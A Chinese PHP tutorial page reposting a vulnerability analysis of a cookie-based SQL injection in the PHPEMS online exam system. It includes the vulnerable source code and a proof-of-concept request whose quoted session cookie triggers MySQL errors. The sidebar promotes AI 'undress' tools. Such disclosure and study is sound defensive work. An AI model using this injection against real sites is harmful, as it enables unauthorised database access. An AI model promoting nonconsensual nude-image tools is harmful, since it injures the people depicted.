search
Homephp教程PHP源码phpems SQL注入(cookies)分析研究

PHPEMS(PHP Exam Management System)在线模拟考试系统基于PHP+Mysql开发,主要用于搭建模拟考试平台,支持多种题型和展现方式,是国内首款支持题冒题和自动评分与教师评分相结合的PHP开源在线模拟考试系统

<script>ec(2);</script>

使用本系统,您可以快速搭建用于模拟考试的网站平台,实现无纸化考试、真实考场模拟、知识强化练习等功能。可满足培训机构、学校、公司等机构各种考试需求。

 代码如下 复制代码

public function __construct(&$G)
    {
        $this->G = $G;
        if (ini_get('magic_quotes_gpc')) {
            $get    = $this->stripSlashes($_REQUEST);
            $post   = $this->stripSlashes($_POST);
            $this->cookie = $this->stripSlashes($_COOKIE);
        } else {
            $get    = $_REQUEST;
            $post   = $_POST;
            $this->cookie = $_COOKIE;
        }

        $this->file = $_FILES;
        $this->get = $this->initData($get);
        $this->post = $this->initData($post);
        $this->url = $this->parseUrl();

    }

..........
    //获取cookie
    public function getCookie($par,$nohead = 0)
    {
        if(isset($this->cookie[CH.$par]))return $this->cookie[CH.$par];
        elseif(isset($this->cookie[$par]) && $nohead)return $this->cookie[$par];
        else return false;
    }

如果用户开启了GPC,程序员还特意使用stripSlashes()给关掉。

 代码如下 复制代码
public function getSessionId()
{
    $sessionid = $this->ev->getCookie('psid');
    if(!$sessionid)
    {
        if($this->ev->getCookie('PHPSESSID',1))
        {
            $this->ev->setCookie('psid',$this->ev->getCookie('PHPSESSID',1),3600*24);
            $sessionid = $this->ev->getCookie('PHPSESSID',1);
        }
        else
        {
            $sid = md5($this->ev->getClientIp().'/'.$_SERVER['HTTP_X_FORWARDED_FOR'].'/'.$_SERVER['REMOTE_ADDR'].':'.$_SERVER['REMOTE_PORT'].':'.$_SERVER['HTTP_USER_AGENT'].':'.date('Y-m-d'));
            $this->ev->setCookie('psid',$sid,3600*24);
            $sessionid = $sid;
        }
        $data = array('session',array('sessionid'=>$sessionid,'sessionuserid'=>0,'sessionip'=>$this->ev->getClientIp()));
        $sql = $this->sql->makeReplace($data);
        $this->db->exec($sql);
    }
    $this->sessionid = $sessionid;
    return $this->sessionid;
}
获得psid参数并起保存在$sessionid里
//修改考试会话内容
//参数:会话内容数组
//返回值:true
public function modifyExamSession($args)
{
    $sessionid = $this->session->getSessionId();
    $data = array('examsession',$args,"examsessionid = '{$sessionid}'");
    $sql = $this->sql->makeUpdate($data);
    $this->db->exec($sql);
    return true;
}

任意找了一个进入数据库的地方。
从上面过程看到,没有做任何过滤就进入数据库了。
Request:
POST /index.php?exam-app-basics-openit HTTP/1.1
Host: phpems.0day5.com
Proxy-Connection: keep-alive
Content-Length: 79
Origin: http://phpems.0day5.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://phpems.0day5.com/index.php?exam-app-basics-detail&basicid=4
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: exam_psid=c6f1b7acd452e6d72a3ede0f501a9211'; exam_currentuser=%25B4%2585%258B%2585%25CE%25BE%258D%257C%2586%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25BC%25AFu%2586%25C6%2585%2585%2585u%2581%258Bm%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C3%25AC%25C6%25BE%25CA%25BA%25C5%25AFu%2586%25C6%2585%2586%257D%258Dm%258C%2581%25B8%2582%258C%257D%2584%2583%258C%2581%2588%25B0%25B5%2582%2585%25AE%258C%257D%25B4%2580%2587%2584%25B7%25AF%2588%25AC%2586%257E%2583%257C%2584%257Du%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25BBu%2586%25C6%2585%258C%2585u%257C%2585%2582%2581%257B%2581%257B%2581%257Cu%2586%25C6%2585%2584%257F%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B2%25C5%25BA%25C8%25BB%25BC%25AFu%2586%25C6%2585%2584%2585u%2583u%2586%25C6%2585%2584%2581%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B7%25C2%25B2%25BC%25B9%25C7%25B4%25C0%25B0u%2586%25BC%2585%2584%257E%258B%2584%2588%257C%2589%2582%258B%257E%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25C1%25AC%25C0%25B0u%2586%25C6%2585%2589%2585u%257C%2584%257C%2584%257C%2584m%258E%25BE%258D%257C%2589%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C7%25B4%25C0%25B0%25BF%25B4%25C0%25B4%25C7m%258E%25B4%258D%257C%2586%2583%258C%2580%2584%2581%258A%2583%2586%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25AFu%2586%25C6%2585%2586%257D%258Dm%25B6%2581%25B9%257C%25B5%2582%25B4%25AE%25B7%257F%2588%257D%25B8%2581%25B7%2582%2585%25AC%2586%25B0%25B7%25B0%2583%25B1%2588%257B%2584%25AC%258C%257D%2584%257Cu%2586%25D0; CNZZDATA5243664=cnzz_eid%3D2105242747-1389515449-%26ntime%3D1389515449%26cnzz_a%3D3%26sin%3Dnone%26ltime%3D1389515448225

Response:
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 09:32:14 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.22
X-Powered-By: PHP/5.4.22
P3P: CP=CAO PSA OUR
Content-Length: 606
Content-Type: text/html; charset=utf-8

ERRO:SELECT * FROM x2_session AS session WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100' at line 1ERRO:UPDATE x2_session AS session SET `sessionlasttime` = '1389519134' WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'':You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211''' at line 1
漏洞证明。

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

SecLists

SecLists

SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software